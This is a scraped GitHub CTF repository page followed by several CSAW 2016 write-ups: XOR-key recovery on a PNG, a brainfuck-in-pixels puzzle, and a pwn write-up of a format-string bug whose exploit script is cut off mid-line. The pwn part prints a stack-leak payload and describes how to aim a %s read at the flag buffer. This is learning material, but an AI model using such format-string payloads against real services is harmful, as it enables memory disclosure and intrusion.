<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>forensics</span></span><span>/</span>corrupt-150<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>forensics</span></span><span>/</span>corrupt-150<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ctf-x/ctfx-problems-2016/tree-commit/b71497b6b3eccbf0b8bebd37918f0f2e8afa1fb4/forensics/corrupt-150" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ctf-x/ctfx-problems-2016/file-list/master/forensics/corrupt-150"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>colors.png</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## Sleeping guard (Crypto, 50p)
###ENG[PL](#pl-version)
In the task we get code:
```pythonimport base64from twisted.internet import reactor, protocolimport os
PORT = 9013
import structdef get_bytes_from_file(filename): return open(filename, "rb").read() KEY = "[CENSORED]"
def length_encryption_key(): return len(KEY)
def get_magic_png(): image = get_bytes_from_file("./sleeping.png") encoded_string = base64.b64encode(image) key_len = length_encryption_key() print 'Sending magic....' if key_len != 12: return '' return encoded_string
class MyServer(protocol.Protocol): def connectionMade(self): resp = get_magic_png() self.transport.write(resp)
class MyServerFactory(protocol.Factory): protocol = MyServer
factory = MyServerFactory()reactor.listenTCP(PORT, factory)reactor.run()```
Which sends a png file over network, but we can see that there is some encryption involved and the key len is 12.Connecting to the server returns the encrypted data.12 bytes is a lot to brute-force, but we know it should be a png so we know the first 8 bytes of the header: `[137, 80, 78, 71, 13, 10, 26, 10]`.We assumed this might be simply a XOR "encryption", therefore we can xor the first 8 bytes of the data we have with expected value and thus we get the xor key values.Next we xored everything with 12 bytes key (missing 4 bytes were 0) and we checked if the file contents look reasonable, and they did!There were some metadata that looked fine so our guess about the xor was correct.We could now brute-force the missing 4 bytes, but we noticed that we have: `http://XXVXw3.org` in the data (X is some non-printable char).We assumed this should be `http://www.w3.org` and therefore we could simply recover the missing 4 bytes of the key.Then we just decrypted the whole file:
```pythonimport base64import binasciiimport codecsimport socket
def get_initial_key(decoded): expected = [137, 80, 78, 71, 13, 10, 26, 10] xor_key = [-1 for i in range(12)] for i in range(8): xor_key[i] = ord(decoded[i]) ^ expected[i] print(xor_key)
def decrypt(decoded): xor_key = [87, 111, 65, 104, 95, 65, 95, 75, 101, 121, 33, 63] # recovered key result = "" for i in range(len(decoded)): result += chr(ord(decoded[i]) ^ xor_key[i % 12]) print(xor_key) return result
url = "crypto.chal.csaw.io"port = 8000s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((url, port))data = ""
while True: data += s.recv(9999) if data.endswith("VyYEJhvvHSvn"): breaktry: decoded = base64.b64decode(data) decrypted = decrypt(decoded) with codecs.open("img.png", "wb") as output_file: output_file.write(decrypted)except Exception as ex: print ex```
and got:

###PL version
W zadaniu dostajemy kod:
```pythonimport base64from twisted.internet import reactor, protocolimport os
PORT = 9013
import structdef get_bytes_from_file(filename): return open(filename, "rb").read() KEY = "[CENSORED]"
def length_encryption_key(): return len(KEY)
def get_magic_png(): image = get_bytes_from_file("./sleeping.png") encoded_string = base64.b64encode(image) key_len = length_encryption_key() print 'Sending magic....' if key_len != 12: return '' return encoded_string
class MyServer(protocol.Protocol): def connectionMade(self): resp = get_magic_png() self.transport.write(resp)
class MyServerFactory(protocol.Factory): protocol = MyServer
factory = MyServerFactory()reactor.listenTCP(PORT, factory)reactor.run()```
Który wysyła plik png przez sieć, ale zadanie sugeruje ze plik jest zaszyfrowany a klucz ma 12 bajtów.Po połączeniu do serwera dostajemy dane.12 bajtów to za dużo na brute-force ale wiemy ze to png więc znamy pierwsze 8 bajtów nagłówka: `[137, 80, 78, 71, 13, 10, 26, 10]`.Następnie założyliśmy że to może być zwykłe "szyfrowanie" XORem więc xorowaliśmy pierwsze 8 bajtów danych z oczekiwanymi wartościami dla png żeby dostać klucz.Następnie xorowaliśmy cały plik 12 bajtowym kluczem (brakujące 4 bajty jako 0) i sprawdziliśmy czy zawartość pliku ma sens, i miała!W pliku były jakieś meta-dane które wyglądały sensownie, więc mieliśmy racje z XORem.Teraz moglibyśmy brutować brakujące 4 bajty ale zauważyliśmy w meta-danych : `http://XXVXw3.org` (zamiast X były nie-drukowalne znaki).Założyliśmy że miało to być `http://www.w3.org` więc mogliśmy po prostu odzyskać za pomocą xora brakujące 4 bajty klucza.Następnie odszyfrowalismy cały plik:
```pythonimport base64import binasciiimport codecsimport socket
def get_initial_key(decoded): expected = [137, 80, 78, 71, 13, 10, 26, 10] xor_key = [-1 for i in range(12)] for i in range(8): xor_key[i] = ord(decoded[i]) ^ expected[i] print(xor_key)
def decrypt(decoded): xor_key = [87, 111, 65, 104, 95, 65, 95, 75, 101, 121, 33, 63] # recovered key result = "" for i in range(len(decoded)): result += chr(ord(decoded[i]) ^ xor_key[i % 12]) print(xor_key) return result
url = "crypto.chal.csaw.io"port = 8000s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((url, port))data = ""
while True: data += s.recv(9999) if data.endswith("VyYEJhvvHSvn"): breaktry: decoded = base64.b64decode(data) decrypted = decrypt(decoded) with codecs.open("img.png", "wb") as output_file: output_file.write(decrypted)except Exception as ex: print ex```
I dostaliśmy:
 |
### ChallengeTitle: brainfun Competition: CSAW quals 2016 Category: Forensics Points: 150 Description: Scrambled Fun for Everyone! Author: fang0654 \<brainfun.png\>
### Background- There's nothing hidden in the file other than the pixel data.- The image is 512x512, but can be scaled down 32x32 to match the blocks to pixels.- The RGB values are all multiples of 0x10. An example pixel could be `(0x40, 0xf0, 0x20)`.- There is also transparency.- There aren't that many different alpha values. Many occur around the same number of times (28-30).- The alpha values are in the printable ASCII range.- The values that occur around the same number of times are lowercase letters, and the others are `+`, `-`, `.`, and a single newline.- The name of the challenge is brainfun, which sounds kind of like brainfuck, which is an esoteric programming language which uses those symbols.- The challenge description says that it's scrambled.
### Progress- Pige0n noticed that the letters can be rearranged to spell "my rainbow", which suggests that there is a definite order to the pixels.- There are probably sections of lowercase letters and sections of brainfuck symbols.- Brainfuck symbols had red values around the middle, and lowercase letters had low and high values.
### Solution- Sort the pixel values by RGB value, using the key `red<<8 + green<<4 + blue`. Edit (thanks BookGin): - It should be `red<<16 + green<<8 + blue` to sort by full values, but I abused the fact that all the RGB values take the format of `0xN0`, so a pixel `(0x10, 0x20, 0x30)` will get converted to `0x1230` this way. - I probably should have used `struct.pack("hhh", red, green, blue)`- It turns out that they spell "owmybrain", but whatever.- Running that as brainfuck spits out the flag: `flag{w3_r_th3_h0llow_m3n}`- Here's a one-liner (it's not very efficient):```pythonpython3 -c '__import__("pybrainfuck").BrainFck().run("".join([chr(p[3]) for p in sorted([list(__import__("PIL", globals(), locals(), ["Image"]).Image.open("brainfun.png").getdata())[r*512 + c] for r in range(0, 512, 16) for c in range(0, 512, 16)], key=lambda p: (p[0]<<8) + (p[1]<<4) + p[2])]))'``` |
# Dear Diary (Pwn, 60)
In the task description we are given the following info:>We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents.
A little bit info about task file:```File name : dear_diary File type : ELF 32-bit LSB executable SHA1 : 34cff95cf188187fe9f2d92d95b97bac128aa459```
And some `checksec` details:```gdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```
Tools used: >IDA Pro
Let's go straight to the `main()` and see what's there for us:```cint __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int choice; unsigned int entry_id; char buffer[5120]; char choice_data[4];
... flag(); // interesting entry_id = 0; puts("-- Diary 3000 --"); fflush(stdout); while ( 1 ) { while ( 1 ) { print_menu(); fgets(choice_data, 4, stdin); choice = atoi(choice_data); if ( choice != 2 ) break; if ( entry_id ) print_entry(&buffer[256 * (entry_id - 1)]); // interesting else puts("No entry found!"); } if ( choice == 3 ) break; if ( choice == 1 ) { if ( entry_id > 0x13 ) { puts("diary ran out of space.."); exit(1); } add_entry(&buffer[256 * entry_id++]); // interesting } else { puts("Invalid input."); } } exit(0);}```
We can see here that `flag()` function is called right at the start.Then a menu is printed and some action taken according to the choice. Let's dig deeper and see what each of those marked functions do.
```cint flag(){ ... fd = open("./flag.txt", 0); read(fd, &data, 0x100u); ...}```
Ok, nothing really special here, as it only opens the `./flag.txt` file and reads its content to a buffer at `.bss:0804A0A0 data`
```cint __cdecl add_entry(char *a1){ ... printf("Tell me all your secrets: "); fflush(stdout); fgets(a1, 256, stdin); if ( strchr(a1, 'n') ) { puts("rude!"); exit(1); } ...}```
Here it only reads up to 256 bytes from _stdin_ into the buffer passed in argument, and checks if there's an `n` character in the string. First suspicious thing, but let's go further.
```cint __cdecl print_entry(const char *a1){ ... printf(a1); fflush(stdout); ...}```
And there we have it, parameter is directly passed into `printf()` function. Nice and clean `format string vulnerability`.
Ok, now it's the time for a short recap.> There's a buffor allocated on stack that can hold up to 20 entries. > Each diary entry is 256 bytes long. > Diary entry can't have `n` character in it. > We can print out recently added diary entry.
`strchr(a1, 'n')` in `add_entry()` is there presumably for checking against one of `printf's` writing modifiers `%n`, `%hn`, `%hhn`. Thus we can't use any of them.
Let's run the app and put a custom string with some marker at the beginning, that would print out the stack for us.
```-- Diary 3000 --
1. add entry2. print latest entry3. quit> 1Tell me all your secrets: AAAA%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x
1. add entry2. print latest entry3. quit> 2AAAAb763a64d|b77b1000|bf840088|bf841488|0|a|c2951300|0|0|bf841498|804888c|bf840088|4|b77b1c20|0|0|1|41414141|257c7825|78257c78|7c78257c|257c7825|78257c78```
Great, `0x41414141` which corresponds to `AAAA` is at `18th` place.What we need is some way of reading the _flag_ that is stored under buffer `.bss:0804A0A0`.
So, instead of `0x41414141` let's put `0x0804A0A0` and instead of `%x` at `18th` let's put `%s`.
```pythonimport structimport socket
data = ''data += struct.pack( ' |
https://github.com/krx/CTF-Writeups/tree/master/CSAW%2016%20Quals/for250%20-%20Watchwordkidding :Phttps://github.com/krx/CTF-Writeups/blob/master/CSAW%2016%20Quals/for250%20-%20Watchword/jk_actual_w...NOTE: this was done before the stepic/base85 hints were released |

Stage 1: http://fuzyll.com/files/csaw2016/startThis site gives the hint:CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>.
For this stage I googled "fuzyll color blind" and found fuzyll's blog where he says he has Deuteranomaly:
